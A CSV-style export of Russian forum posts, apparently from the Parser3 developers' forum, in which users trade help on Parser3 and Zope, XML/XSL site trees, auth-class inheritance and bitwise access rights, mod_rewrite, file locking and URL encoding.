"31114","Понятно, что ООП оно и в Африке ООП. Я ведь и говорю, что синтаксис языков различен, но идея одинаковая. Взять то же наследование. В Zope объекты наследуют методы. В Парсере наследуются функции. В Zope методы -- суть отдельные файлы. В Парсере функции собраны в файл \"auto.p\" (да и по страницам раскиданы), но принцип от этого не поменялся.\
\
То что отделить можно везде, я понимаю. В том-то и дело, что мне сейчас предлагают на Jav'е написать движок, который бы делал примерно нечто подобное. Но я до последнего не теряю надежды, что есть уже \"заточенные\" под проблему технологии."
"31115","Я вообще-то только приступил к освоению XML, но мне кажется, что команда <..... /> является конечной и никакая ветка дальше не пойдет. Мне кажется надо формировать ветки так же, как и две первые:\
<......>\
</.....>\
Может быть я, конечно и ошибаюсь.\
С уважением, Дмитрий"
"31116","Нет, спасибо, не надо всем мыслить как я... Жалко вас всех будет! :о)\
\
Я согласен с вами, но просто в документации так написано про Парсер, что чуть ли не ноу-хау было изобретено. Режет глаз. А то, что должна быть здоровая конкуренция -- тоже солидарен. Главное, выдавать действительное за действительное."
"31117","С технологией Zope я познакомился года 4 назад и тогда она отвечала всем требованиям, которые у меня к ней были. Потом я на некоторое время отложил ее использование, а когда в прошлом году снова обратил на нее внимание, был приятно удивлен, что технология активно развивается и поддерживается коммерческими структурами, оставаясь при этом бесплатной."
"31119","атрибуты width и height отсутствуют у строгих( и наиболее правильных по-моему) версий HTML 4.01 и XHTML 1.0\
\
Читаем спецификацию дальше :)\
\
Стандарты хороши когда все им следуют (браузеры рендерят одинаково) но это далеко не так, поэтому распорки часто единственное средство для обеспечения баланса между временем разработки, весом страницы и совместимостью с браузерами.\
\
И напоследок мнение:\
\
http://diveintomark.org/archives/2003/01/13/semantic_obsolescence\
\
\"Standards are bullshit. XHTML is a crock. The W3C is irrelevant.\"\
\
Так что далеко не так все однозначно ..."
"31120","Можно ли попросить вас немного рассказать, что сейчас умеет Парсер в отличие от Zope (то есть, каким требованиям он сейчас отвечает, которые не реализованы в Zope)? Интересно как разработчику, который пытается определиться с технологией."
"31122","При таком построении будет проще отследить наследование через XPath."
"31123","Спасибо...."
"31124","Конечно проще.\
Однако хочется автоматизировать процесс.\
Ладно если разделов 5, а если 50 - замучаешься править руками, да и ошибиться недолго."
"31125","Да не вопрос.\
Тут строить-то нечего, однако, блин, вступил тупизм - не могу сообразить...\
\
Сегодня попробую в пятый раз переписать метод - хоть покажу ход \"мысли\".."
"31126","разработчиков и готовых блоков для zope, безусловно, гораздо больше.\
\
если для вас важно много готовых блоков, и сами вы их создавать не планируете, берите готовое.\
\
не помогу с выбором."
"31127","в моей CMS дерево используется именно в таком XML виде. Так и отрисовывается.\
Тот же самый XML файл струтуры используется при формировании навигации по сайту, меню различных уровней, отображение карты сайта и в административной зоне. И не нужно никаких дополнительных трансформаций.\
\
Разве не выгоды? )"
"31128","Не думаю, что наличие готовых блоков у технологии определяет ее пригодность для решения проблемы. Очень часто заставить работать готовый блок так, как тебе надо сложнее, чем написать его самому.\
\
В первую очередь Zope и Парсер для меня привлекательны, поскольку позволяют свободно менять каркас дизайна и сам дизайн безотносительно контента. Это как раз та задача, которую сейчас мне поставили. Использовать технологии, не заточенные под эту задачу (jsp, asp, perl, php, etc.) не хочется -- придется вручную писать движок. Потому и ищу альтернативы. Пока нашел только две вышеобозначенные."
"31129","Быть может\
http://www.parser.ru/forum/?id=3412\
поможет отцу русской демократии?"
"31130","[quote]в моей CMS дерево используется именно в таком XML виде.[/quote]\
\
О каком виде рачь?\
Невложенные item'ы?\
\
Или Вы о том, что изначально информация лежит сразу в XML?\
\
[quote]Тот же самый XML файл струтуры используется при формировании навигации по сайту, меню различных уровней, отображение карты сайта и в административной зоне.[/quote]\
\
У меня ход мысли такой же, вот дерево бы толковое получить :)\
\
[quote]И не нужно никаких дополнительных трансформаций.[/quote]\
\
Это Вы о каких?"
"31131","Поиском попользовался первым делом, однако, есть подозрение - не то искал.\
\
[quote]поможет отцу русской демократии?[/quote]\
\
Отец русской демократии непременно ознакомится, но уже сейчас хочу выдвинуть вопрос:\
стоит ли строить XML с вложенностями?\
Или достаточно такой структуры:\
[code]\
<tree>			\
	<section id=\"1\" parental_id=\"0\" name=\"Продукты\" url=\"products\"/>		\
	<section id=\"2\" parental_id=\"1\" name=\"Мониторы\" url=\"products/monitors\"/>	\
	<section id=\"3\" parental_id=\"1\" name=\"Принтеры\" url=\"products/printers\"/>	\
	<section id=\"4\" parental_id=\"1\" name=\"Винчестеры\" url=\"products/hdd\"/>	\
	<section id=\"5\" parental_id=\"1\" name=\"Мыши\" url=\"products/mice\">	\
	<section id=\"6\" parental_id=\"1\" name=\"Прочее\" url=\"products/else\">	\
	<section id=\"7\" parental_id=\"0\" name=\"Поддержка\" url=\"support\">		\
	<section id=\"8\" parental_id=\"0\" name=\"Сотрудничество\" url=\"cooperation\"/>		\
	<section id=\"9\" parental_id=\"0\" name=\"О сайте\" url=\"about\"/>		\
	<section id=\"10\" parental_id=\"0\" name=\"Новости\" url=\"news\"/>		\
	<section id=\"11\" parental_id=\"10\" name=\"Архив\" url=\"archive\"/>	\
	<section id=\"12\" parental_id=\"11\" name=\"Новое в архиве\" url=\"new\"/>\
</tree>\
[/code]\
а дальше мучаемся с XSL?"
"31132","Используется в виде уже \"одеревленного\" XML, в админзоне используются методы DOM, в остальных случаях простая трансформация xsl."
"31133","...стоит сразу хранить их в виде дерева. и забыть про аттрибут parent_id."
"31134","Вы так и не рассказали задачу.\
Отделить мух от котлет можно только тогда, когда они есть.\
С дизайном понятно.\
А вот с контентом - нет. Откуда берется? Как создается/хранится/обрабатывается?\
\
И потом, так ли уж нужно \"шаблонное программирование\"? Связка XML/XSL Вас не устраивает? Вот уж где разделение максимально."
"31135","Это понятно.\
\
Я больше склоняюсь к связке БД -> XML + XSL -> вывод.\
Хочется автоматизму...\
\
Итак, изучив ветку о XSL преобразовании решил пока остановится не герерации \"списка\" (не дерева) и прогона по нему хитрого XSL'я."
"31136","по моему это идеологически не совсем верно.\
\
1. XSL по моему лучше будет справляться со своей задачей, если вы ему подготовите правильный xml, в котором содержится именно древовидная структура с родителями и детьми, а не где это родство может быть построено правой ногой ковырянием в @id/@parent_id\
\
2. посмотрите на ваш xml:\
[code]\
<tree>\
...\
</tree>\
[/code]\
позвольте, а что внутри? не, это [b]не[/b] дерево.\
\
3. моя практика показала, что информация о структуре каталогов, которая выдается в xml в виде правильного дерева - удобна. возьмем этот сайт (да и последние за последние три года в студии у которых написано что сделаны они на imp1) - тут выдается древовидный xml не смотря на то, что посетитель видит один уровень с корневыми документами. если приспичит менять дизайн (без изменения функциональности) - менять придется [b]только[/b] xsl, причем человеку, который увидит правильную древовидную структуру (в xml) не надо будет объяснять что это такое, в отличии от конструкций вида:\
[code]\
<section id=\"1\" parental_id=\"0\" name=\"Продукты\" url=\"products\"/>\
<section id=\"2\" parental_id=\"1\" name=\"Мониторы\" url=\"products/monitors\"/>\
[/code]\
\
4. собственно построить парсером дерево по моему очень просто. к тому-же единожды построеное у меня оно используется несколько раз, т.к. парсером вам все равно придется решать задачи по нахождению детей объекта XYZ и т.п."
"31137","идеологически как раз нормально - XSLT вообщем и заточен для преобразования различных видов структур в другие, - линейных в древовидные, табличные и т.д.\
\
Другое дело что это может быть накладным и не всегда наглядным, однако если сайт маленький то почему бы не сделать так, как товарищи предлагают :)"
"31138","[quote]XSL по моему лучше будет справляться со своей задачей, если вы ему подготовите правильный xml, в котором содержится именно древовидная структура с родителями и детьми, а не где это родство может быть построено правой ногой ковырянием в @id/@parent_id[/quote]\
\
Не совсем согласен.\
По-моему это вопрос скорее личных предпочтений и уровня навыков.\
Да и идеологически всё вполне гладко.\
XSL всё же не CSS, а инструмент преобразований, которому вполне по силам самые сложные трансформации.\
\
Лично мне удобнее построить дерево Парсером, но это только из-за невладения в должной мере XSL.\
\
[quote]позвольте, а что внутри? не, это не дерево. [/quote]\
\
Нет.\
Это остатки от древовидного кода первого сообщения.\
Я оставил это для наглядности, чтобы подчеркнуть различия внутри.\
\
[quote]моя практика показала, что информация о структуре каталогов, которая выдается в xml в виде правильного дерева - удобна. [/quote]\
\
Без вопросов – согласен.\
\
 [quote]возьмем этот сайт (да и последние за последние три года в студии у которых написано что сделаны они на imp1) - тут выдается древовидный xml не смотря на то, что посетитель видит один уровень с корневыми документами. если приспичит менять дизайн (без изменения функциональности) - менять придется только xsl, причем человеку, который увидит правильную древовидную структуру (в xml) не надо будет объяснять что это такое, в отличии от ... [/quote]\
\
Ваша правда.\
Однако моё применение кода куда более прозаично.\
Мне некому объяснять структуру деревьев.\
Главное – удобство изменений.\
И наиболее простая реализация механизма вывода структуры.\
\
[quote]собственно построить парсером дерево по моему очень просто. [/quote]\
\
Будем посмотреть.\
\
[quote]к тому-же единожды построеное у меня оно используется несколько раз, т.к. парсером вам все равно придется решать задачи по нахождению детей объекта XYZ и т.п. [/quote]\
\
Так точно.\
Но прочие задачи сводятся к обработке частей дерева, а не полного его построения.\
Генерация ссылок и проверка вложенности уже более-менее сделана."
"31139","Можно ли в одном cookie записать несколько значений...?"
"31142","http://www.parser.ru/forum/?terms=%ED%E5%F1%EA%EE%EB%FC%EA%EE+%E7%ED%E0%F7%E5%ED%E8%E9+%E2+cookie&search_in_message=1&doSearch=%CD%E0%E9%F2%E8"
"31143","ну объясните пожалуйста мне как это [i]создать дочерний класс, в его конструкторе вызвать ^BASE:init[$icookie_data;$logon_data;$in_params][/i] нужно некоторые методы перекрыить, а класс неохота менять"
"31144","почему простые пользователи, id которых не прописан в таблице auser_to_auser, принадлежат к группе [b]Admins[/b] ?? , в таблице auser у , там где name=Admins , is_default=0, я сделал еще одну группу Users, и теперь любой юзер принадлежит и Admins и Users"
"31145","Хоть это и написано в доке, но я тоже с первого раза не догнал.\
Создаете свой класс, к примеру my_auth.p\
Внутри него:\
[code]\
@CLASS\
my_auth\
\
@BASE\
auth\
\
@init[icookie_data;ilogon_data;iparams]\
^BASE:init[$icookie_data;$ilogon_data;$iparams]\
\
########################################\
# Переопределенный метод Logon\
@htmlFormLogon[in_params][lparams]\
...\
...\
### End @htmlFormLogon\
[/code]\
\
И потом со страницы вызываете уже не auth.p, а my_auth.p\
[code]\
@USE\
my_auth.p\
\
@main[]\
$auth_data[^my_auth::init[$cookie:CLASS;$form:fields;$.csql[$pSQL]]]\
...\
[/code]\
\
Примерно так."
"31148","Задача была поставлено чётко: есть меню из трёх пунктов.\
\
[code]uri	title\
/	О проекте\
/staff/	Сотрудники\
/trips/	Поездки[/code]\
\
Нужно подсветить пункт меню, если пользователь находится в соответствующем разделе или его подразделах. Казалось бы, что проще, поставил проверку [code]^if(in $menu.uri)[/code] и живи спокойно.\
\
Тут встала проблема № 1: первый пункт меню указывал на корневой каталог и т. о. под-свечивался всегда. «Не беда!» сказали мы и решили использовать [code]^file:dirname[$request:uri][/code]. (Благо, разделов третьего уровня не ожидалось.) Особенность этого метода заключается, в том, что для [code]/foo/[/code] и [code]/foo/bar.html[/code] он выдает разный ответ. В первом случае [code]/[/code], а во втором [code]/foo[/code]. Проблема решилась так: после аргумента ме-тода был вставлен пробел. Таким образом в обоих случаях выдавалась строка /foo, кото-рую (с добавленным слэшэм) можно было сравнивать с $menu.uri\
\
[code]^if($menu.uri eq ‘^file:dirname[$request:uri ]/’)[/code]\
\
Здесь возникла проблема с первым пунктом № 2: если для [code]/foo/bar/[/code] метод вы-дает [code]/foo[/code] то для [code]/[/code] результатом является… точка. А не пустая строка, что было бы удобнее с точки зрения программирования. Мы почесали репу и… ввели ещё один пробел, на сей раз перед аргументом метода. Поставив его также перед $menu.uri\
\
[code]^if(‘ $menu.uri’ eq ‘^file:dirname[ $request:uri ]/’)[/code]\
\
Конечно, можно было бы создать собственный метод. Чем бы он отличался от стандарт-но? Рассмотрим на примере.\
\
[code]^file:dirname[]\
/	.\
/foo	/\
/foo/	/\
/foo/bar	/foo\
/foo/bar/	/foo\
\
^my_dirname[]\
/	[пустая строка]\
/foo	[пустая строка]\
/foo/	/foo\
/foo/bar	/foo\
/foo/bar/	/foo/bar[/code]\
\
Резюме: dirname -- наглядный метод с точки зрения человека, но для программирования не пригоден. Почти."
"31150","...classes/my_auth.p(6:1): auth: undefined class in @BASE\
\
когда был auth.p всё работало"
"31152","@USE\
lib.p\
mysql.p\
my_auth.p"
"31154","Тебе про твой класс говорят - в твоем классе my_auth, т.е. в данном случае в файле my_auth.p перед\
[code]\
@BASE\
auth\
[/code]\
должно быть:\
[code]\
@USE\
auth.p\
[/code]"
"31157","Надо сделать по идее простейшую вещь\
обращаюсь по урлу /shop/xxxx/ мне показывает контент из /shop/?id=7 \
\
в httpd.conf раскоментировал\
LoadModule rewrite_module modules/mod_rewrite.so\
рестартанул апач (версия апача 2.0.40 под винды)\
\
пишу в корневой .htaccess сайта следующее\
\
RewriteEngine  on\
RewriteBase  /\
RewriteRule    ^/shop/xxxx/$  /shop/?id=7\
\
\
обращаюсь к урлу /shop/xxxx/ плучаю 404-ю ошибку\
что я делаю не так?"
"31160","если не хотите читать доку по rewrite, включите журнал его работы, там это сразу стало бы очевидным."
"31161","когда-то давно я для решения таких проблем в настройках принтера устанавливал опцию \"Печатать шрифты TrueType как графику\"\
\
сейчас зашел в настройки принтера (HP5000) и увидел опцию (в разделе Font Settins): Send TrueType as Bitmaps.\
\
попробуйте найти и включить что-либо подобное в настройках своего принтера."
"31162","Доброго! Собственна говоря вопросик возник. Пытаюсь пример \"Склонение имен существительных после числительных\" поместить в класс для чего сделал файл cifr.p и положил его туда где остальные классы а именна в /classes/. Сам файл содержит:\
[code]\
@CLASS\
cifr\
\
@cifr[num;nominative;genitive_singular;genitive_plural]\
^if($num > 10 && (($num % 100) \\ 10) == 1){\
        $result[$genitive_plural]\
}{\
        ^switch($num % 10){\
                ^case(1){$result[$nominative]}\
                ^case(2;3;4){$result[$genitive_singular]}\
                ^case(5;6;7;8;9;0){$result[$genitive_plural]}\
        }\
}\
\
[/code]\
\
\
а теперь пытаюсь его вызвать из файла test.html с содержанием:\
[code]\
@USE\
/classes/cifr.p\
\
@main[]\
\
<p>$found($date_now.minute)\
^cifr[$found;найдена $found запись;найдены $found записи;найдены $found записей]\
[/code]\
\
но Парсер ругается говорит что мол:\
Unhandled Exception (Debug)\
undefined method\
cifr\
\
Подскажите пожалуйста как можно избежать данной ошибки, потому как класс из документации и dtf из примеров отлична работает. \
Заранее благодарен."
"31165","Как будто нельзя перед ^if(in $menu.uri) сделать проверку на / c помощью того же $request:uri и весь этот цирк совершенно не нужен."
"31166","угу, и принтер начнет печатать в 3 раза медленнее на немаленьких документах."
"31168","я не предлагаю это как \"оптимизирующую\" настройку, а лишь как возможность решить данную проблему, возникшую из-за того, что принтер имеет встроеные шрифты с такими-же именами как в документе, но не русифицированные.\
\
собственно алгоритм для танкистов :)\
1. включить настройку\
2. распечатать документацию\
3. выключить настройку"
"31169","эх ничего ты Миша не понимаешь в принтерном искусстве - крокозябы прикольней, особенно когда трава хорошая!"
"31170","А вы случаем коврики для мышы не пробовали раскуривать?\
\
Через 10 минут после этого оживает птичка парсер3 и пытается откусить подушечки пальцев за издевательствами над ней"
"31171","Ну наконец-то сообразил.\
Как и думал – всё очень просто.\
Но пока думал – чуть не лопнул...\
\
Исходная таблица вида:\
[code] \
id	parental_id	uri	title\
1	0	products	Продукты\
2	1	monitors	Мониторы\
3	1	printers	Принтеры\
4	1	hdd	Винчестеры\
5	1	mice	Мыши\
6	1	else	Прочее\
7	0	support	Поддержка\
8	0	cooperation	Сотрудничество\
9	0	about	О сайте\
10	0	news	Новости\
11	10	archive	Архив\
12	11	new	Новое в архиве\
[/code]\
\
Вызов метода: [code]^tree[][/code]\
\
Собственно код:\
[code]\
#====================================================================================================================================\
@tree[]\
$sections[^table::load[/_root.cfg]]\
## Выдираем из файла разделов id тех разделов, которые имеют детей\
\
$roots_hash[\
	^sections.menu{\
		$.[$sections.parental_id][1]\
	}\
]\
\
## Хэш по таблице\
$sections_hash[^sections.hash[id]]\
\
## Хэш разделов, которые уже проверялись\
$show_childs_hash[^hash::create[]]\
\
^sections.menu{\
	^child_out[$sections.id]\
}\
#====================================================================================================================================\
\
#====================================================================================================================================\
@child_out[parental_id][parental_id;show_childs_temp_hash;subsections]\
^if(!$show_childs_hash.$parental_id){\
## Если не проверяли этот раздел\
	$show_childs_temp_hash[\
		$.$parental_id[1]\
	]\
	^show_childs_hash.add[$show_childs_temp_hash]\
	^if($roots_hash.$parental_id){\
## Если раздел - родитель\
		$subsections[^sections.select($sections.parental_id == $parental_id)]\
		<section id=\"$sections_hash.$parental_id.id\" parental_id=\"$sections_hash.$parental_id.parental_id\" name=\"$sections_hash.$parental_id.title\" url=\"^create_link[$sections_hash.$parental_id.id]\">\
		^subsections.menu{\
			^child_out[$subsections.id]\
		}\
		</section>\
	}{\
## Если раздел - конечное дитё\
		<section id=\"$sections_hash.$parental_id.id\" parental_id=\"$sections_hash.$parental_id.parental_id\" name=\"$sections_hash.$parental_id.title\" url=\"^create_link[$sections_hash.$parental_id.id]\"/>\
	}\
}\
#====================================================================================================================================\
\
#====================================================================================================================================\
@create_link[id][id]\
$sect_table[^table::create{counter	path}]\
$counter(0)\
^while(^sections.locate[id;$id]){\
	^sect_table.append{$counter	$id}\
	$id($sections.parental_id)\
	^counter.inc[]\
}\
^sect_table.sort($sect_table.counter)[desc]\
$result[/^sect_table.menu{$sections_hash.[$sect_table.path].uri}[/]/]\
$sect_table[]\
^memory:compact[]\
#====================================================================================================================================\
[/code]\
\
Критика всячески приветствуется."
"31172","Apache 2.0.47, Parser/3.1.3 CGI, FreeBSD 4.8-RELEASE (на всякий случай :-] ).\
\
Делаю:\
@main[]\
$random[^eval(^math:random(1000))[%04d]]\
^file:lock[lock]{\
        $x[-] ^x.save[data.$random]\
        $x[^file::exec[./sleep;;30]]\
        ^file:delete[data.$random]\
}\
\
Запускаю из браузера 5 запросов подряд волшебной кнопочкой F5.\
Вижу файл lock, как и надо. И удивляюсь, почему существует 5 файлов data с циферками. Через 30 секунд они, как и положено, исчезают.\
\
Можете мне подсказать что я здесь сделал не так или что не так с бсд версией парсера?"
"31173","учитывая скорость работы и лёгкость в изучении...\
и отсутствие необходимости использовать xml"
"31174","src/main/pa_os.C:\
\
//#define PA_DEBUG_NO_LOCKING\
#ifdef PA_DEBUG_NO_LOCKING\
#ifdef HAVE_FLOCK\
int pa_lock_exclusive_blocking(int fd) { return flock(fd, LOCK_EX); }\
...\
\
flock() на системе есть. то есть должно лочиться.\
а вот первые две строчки меня смущают. они, чтоли, противоречат сами себе. константа запрета лоченья не определена, но локи компилируются только когда она опредлена. или я непонял ее смысла и названия...\
\
глубоко в сырцы я не копал и не копну, так как \"чужой код - потемки\". вы как авторы можете подсказать что и как? и чем теперь лочить? :)"
"31175","а как это \"включите журнал его работы, там это сразу стало бы очевидным.\" ??"
"31176","Начал тут разбираться в вышеупомянутом классе. Поскольку я пока ещё новичок в это деле, не всё понимаю. Объясните пожалуйста.\
Допустим у меня на сайте есть тыща пользователей и много  страниц. Мне нужно чтобы разные пользователи видели только им предназначенные страницы. То есть, грубо говоря есть группы, которым доступны некоторые страницы. Плюс я хочу иметь возможность некоторым индивидумам разрешать смотреть страницы не из их группы.\
\
Можно ли это сделать. Если да, то как."
"31177","штука для замены кавычек:\
\
# кавычки\
$str[^str.match[(\\b(?:[.,!?])?)\"][gx]{${match.1}${rq}}]\
$str[^str.match[\"(\\b)][gx]{${lq}${match.1}}]\
\
английский - текст - всё работает, русский в кодировке UTF-8 - не работает. что делаю не так? \
несколько моментов:\
* использую UTF, потому что надо\
* может есть идеи как сделать кавычки через ^str.replace \
спасибо"
"31178","странно - у меня вообще без нареканий работет, правда пришлось из auto.p выкинуть строки про \"отдавать 1251\", как сказал ПАФ, и все пошло и кавычки и прочее."
"31179","предположительно регэкспы не очень дружат с локальными символами (типа русских) в таких конструкциях как \\w, \\W, \\b, \\B.... в разных средствах по-разному, но сомневаюсь что парсеровцы писали свою либу для работы с регэкспами, наверняка заюзана обычная. так что я в таких случаях либо делаю реплейсами, где можно, либо пишу свой оператор сравнения и туда вбиваю русские символы. ВСЕ символы. абв...АБВ..."
"31180","$f[^file::load[text;http://wwp.icq.com/scripts/online.dll?icq=613170&img=5]]\
\
или\
$f[^file::load[binary;http://wwp.icq.com/scripts/online.dll?icq=613170&img=5]]\
\
дают unhandled.. что делать? \
Задача вообще такова: if ($f.size = 199){ send mail...  }  \
# если онлайн, то бишь размер файла зеленого цветка 199 байт - посылаем мыло.\
\
Suggestions?"
"31181","hint 1: $env:SCRIPT_URL (SCRIPT_URI, REQUEST_URI, и прочее кому что надо)\
hint 2: $request:uri\
\
$request:uri обкусываем до первого \"?\", потом с конца до первого \"/\". вот вам и дирнейм на точное сравнение (а не на if(in)).\
\
чем не способ?"
"31182","вся фишка в том, чтоб ходить телнетом.\
\
1) при заходе на http://wwp.icq.com/scripts/online.dll?icq=613170&img=5 оно говорит что The document has moved <A HREF=\"http://status.icq.com/online.gif?icq=613170&amp;img=5\">here</A>.  и идет редирект Location: http://status.icq.com/online.gif?icq=613170&img=5\
\
2) ок, идем куда послали. нам там говорят The document has moved <a href=\"/0/online2.gif\">here</a>. Location: /0/online2.gif\
\
все построено исключительно на редиректах. не надо загружать картинки - ну нафиг вы себе на сервере трафик будете нагонять? достоанчо этих ответов - их и парсерить. что касается эксепшна, смотрим доку по парсеру для file::load:\
\
пример $.any-status(1);   дефолтно 0;\
Логическое: допустим ли статус ответа, не равный 200. Если ЛОЖЬ, и будет получен статус, не равный 200, возникнет системная ошибка http.status.\
\
вот и все.\
\
ну а с контентом от icq уже надо экспериментировать что они там возвращают в разных режимах."
"31183","писать на интерпретируемом языке (ява, пхп, перл...) движок по интерпретации собственного языка/структуры/чего-то-там - бред сивой кобылы. если уж и делать интерпретатор, что на си или подобных, компилируемых языках. а это - офигенные трудозатраты. \
\
так что... юзайте парсер :) он и не движок, и не язык, но в то же время и движок, и язык. нечто сверхгибкое, и в тоже время - простое. (на правах альтруистической рекламы) %)\
\
примеры отделения мух от котлет вкратце есть в учебнике и доках. ну а детали уже надо затачивать под собственную задачу, и ничего \"подходящего\" вы не найдете - все задачи весьма специфичны."
"31184","Небольшой совет, в надежде поощрить написание правильного XHTML-кода:\
\
Для того, чтобы Mozilla выдавала ошибки, если документ не проходит разбор XHTML парсера, нужно добавить в Ваши XHTML страницы на парсере3 следующий код:\
\
[code]\
^if(^env:HTTP_ACCEPT.match[application/xhtml\\+xml][i]){\
  $response:content-type.value[application/xhtml+xml]\
}\
[/code]\
\
В таком случае, пользователь браузера Mozilla (Вы) сразу увидит, если Ваша страница \"сломана\". ;-) IE отдыхает. ;-)\
\
Удачи, \
Константин."
"31185","Я думал над этим, но не нашел короткого решения, теперь нашел:\
\
[code]^if(^if($menu.uri eq '/';$request:uri eq '/';in $menu.uri)){id=cur}[/code]"
"31186","подскажите, пожалуйста, очевидный способ найти в парсере номер последнего положения символа (lastIndexOf)"
"31187","то, что написали вы - фактический первый printMessagesByParent из примера и чуть далее написано что надо сделать чтобы скорость построения дерева увеличилась в ~3 раза и расход памяти уменьшился в ~1.5-2..."
"31188","Суть проблемы. Есть текстовое поле в форме. При нажатии на кнопку открывается новое окно, при этом значение поля (обычно это русский текст) передается через форму типа \"?temp=тест\" (  \
строка получается с помощью JS '?temp='+document.form1.temp.value ). При этом строка имеет вид \"?temp=тест\", а хотелось бы иметь строку вида ?temp=%F2%E5%F1%F2 . С помощью функции JS escape() можно привести строку к виду %u0442%u0435%u0441%u0442 - но как ее расшифровать Парсером ? Или же может кто подскажет, как сделать строку вида %F2%E5%F1%F2 ?"
"31189","а как можно реплесами сделать кавычки? остальное вроде делаю ими..."
"31190","у меня этих строчек (про цп1251) там отродясь не было... а что ещё посмотреть можно?"
"31191","1. соотв. пользователи должны состоять в интересующих вас группах (записи в таблице auser_to_auser)\
2. у пользователей и групп должны быть выставлены права на root (auser.rights)\
3. ваши страницы для класса должны иметь поля: id, parent_id, irf\
4. пользователям.группам должны быть даны права на соответствующие страницы (acl)\
\
после этого можно пользоваться функциями класса:\
1. инициализируете объект класса в $auth_data\
2. достаете текущий тред страиц (по крайней мере от корневой до текущей) в $thread (это вам все равно надо будет делать, например чтобы построить меню раздела)\
3. $acl[^auth_data.getFullACL[$thread]]\
4. получаем права текущего пользователя на запрашиваемый им документ: $rights(^auth_data.getRightsToObject[$current_page;$thread;$acl])\
\
собственно все (мог ошибиться, т.к. писал по памяти)... в зависимости от того, что вы получили в $rights формируете пользователю страницу (посылаете его нафиг, не показываете ему часть данных, disable-ти ему некоторые элементы интерфейса и т.д.)\
\
что в $rights? просто цифра. битовая. каждый бит означает наличие какого-либо права.\
\
что в irf (inherited right filter - маска наследуемых прав)? просто цифра. тоже битовая. в зависимости от того, в каком состоянии находится бит определяется, \"стекают\" права данные на объект выше на этот объект или нет.\
\
P.S. на самом деле я не уверен, что вам нужна такая навороченая система раздачи прав (идеология содралась с Novell NDS), но я ей пользуюсь."
"31192","Вот пошёл перечитал по новой.\
\
Вот что вынес:\
\
Кусок\
[code]\
		$subsections[^sections.select($sections.parental_id == $parental_id)]\
[/code]\
\
можно заменить на:\
[code]\
		$subsections[$sections_hash2.$parental_id]\
[/code]\
\
Предварительно создав хэш:\
[code]\
$sections_hash2[^sections.hash[parental_id][$.distinct[tables]]]\
[/code]\
\
Собственно всё.\
\
Дальше конструкция Вашего метода по-моему «не подходит», ибо необходимо выводить разную информацию в зависимости от того, является ли обрабатываемый раздел веткой, корнем или листом.\
У Вас это вынесено в метод [code]@printTreeItem[][/code], у меня – непосредственно в методе проверки.\
\
Если что недопонял – пните в нужное место.\
\
Да, кстати, измерил время и затраты памяти – ни то, ни другое существенно не изменились.\
Вы не можете примерно сказать, каково должно быть время полного построения дерева из используемой мной таблицы?\
Ваш метод за сколько отрисовывает дерево в ~10 id?"
"31194","безобразие вошло в 3.1.0 версию, и с тех пор длится.\
\
видимо, хотел проверить, опечатался (#ifndef), проверил, #define убрал, а ещё раз не проверил.\
\
голова/пепел."
"31195","сверху оглавление директив. вам нужны со словом log."
"31196","можно включить.\
вдруг у кого есть свободный вечер, приму patch."
"31197","на которые и я наступал: http://parser2.parser.ru/forum/message_6000.html\
\
Nolar правильно пишет - надо смотреть, куда посылают ;-)"
"31199","file:lock заработал.\
\
Хотя собирать парсер - то еще \"удовольствие\" (на несборочном-то сервере).\
\
Да и суффикс \"beta\" слегка напрягает...\
\
Но, спасибо :)"
"31200","window.open(\"/forum/add_message.html?htitle=Попробуйте ответить&id=1430&tred=1360&forum=0\",'ansver','resizable=0,status=0,scrollbars=0,width=530,height=380');"
"31201","здесь ведь не вопрос о том как задать width и height. Понятное дело их можно вынести в CSS. Просто добавленный nowrap решает поставленную проблему во [u]всех[/u] популярных браузерах.\
Для совместимости с xml рекомендую писать так nowrap=\"nowrap\".\
\
P.S. 99% случаев распорки легко заменяются различными CSS стилями, при этом еще и экономится куча кода. А то что их слабо понимают браузеры младше 5 версии, тут уж простите. Ретро-браузеры нынче не в моде."
"31202","а вот жизнь и закон Мерфи чаще выбирают тот самый 1%. Проверено."
"31203","у меня на паре-тройке сайтов стоит совсем простая система авторизации и раздачи прав. Вот я думаю, стоит ли переделать на новую.\
Оцените, пожалуйста, принцип старой и скажите, стоит ли её срочно ликвидировать и заменить.\
\
Принцип:\
есть некоторое количество групп пользователей (изначально закладывается 30, но реально используется меньше). Группы типа - посетитель, пользователь, администратор, продвинутый. + ещё всегда в запасе штук 20 групп безымянных, любую из которых в любой момент можно сделать именной.\
У каждой страницы пишется такой вот код из 30 цифр (по количеству групп) - 11001.....00000000. Что означает - посетителям можно, пользователям можно, администраторам нельзя, продвинутым нельзя, ну и так далее.\
Каждый раз когда строится меню или выдаются страницы, мы проверяем, кто зашёл на сайт (по умолчанию - посетитель - id=1), вытаскиваем соответствующую циферку и смотрим, можно или нельзя показывать страницу. \
\
Многие минусы этого я уже заметил. А вот так со стороны, есть что-то совсем плохое в этой системе?"
"31204","вроде получилось :)"
"31206","я не знаю насколько она вас не устраивает.\
очень может быть что моя система (кстати в плане работы с правами она использовалась мной не так уж много раз, поэтому возможны глюки в этих методах) хотя и имеет потенциально больше возможностей, но для ваших нужд будет годиться ещё меньше ввиду того, что вам нужно будет написать административные механизмы раздачи прав, но при этом возможности будут невостребованы. \
\
ваша система однозначно менее рессурсоемка ввиду меньших возможностей. например в моей системе чтобы понять можно-ли показывать пользователю U документ по урлу /A/B/C/ приходится доставать все права данного пользователя и групп в которых он состоит на все объекты A, B и С и затем заниматься вычислениями (правда есть кеширование вычисленных значений), что сложнее чем у вас. зато в моей системе есть наследование прав (у вас это тоже можно сделать, но тогда вы получите почти тоже самое что сейчас есть у меня :) )\
\
ещё, насколько я понял, у вас есть только два состояния: \"документ доступен пользователю\" или \"документ не доступен пользователю\". у меня собственно на каждый объект может быть дано большое количество разнообразных прав. кратко: Supervisory (можно все), Browse (виден в навигации), Create (можно создавать дочерние объекты), Delete (можно удалять), Modify (можно редактировать), Access control (можно давать права другим), Read (можно читать данные объекта), Write (можно изменять данные объекта). на самом деле у меня прав больше, к тому-же как вы заметили тут их только 8 (используется 8 бит, а зарезервировано в БД int - 32 бит)\
\
я использую битовые операции которые работают очень быстро, а вы - десятичные операции, с которыми в данном случае человеку работать нагляднее, но программе - сложнее (медленнее). предлагаю посмотреть в методе getRightsToObject как происходят битовые манипуляции."
"31208","И там обнаружилось, что строку типа ?temp=тест выдает как ?temp=&?%&   (&?%& - эти символы условны, т.к. то, что выдвет сервер в строке сложно передать)"
"31209","test.html:\
[code]\
$value[^taint[как будто достали из базы]]\
<a href=\"^untaint[uri]{temp=$value}\">link</a>\
[/code]"
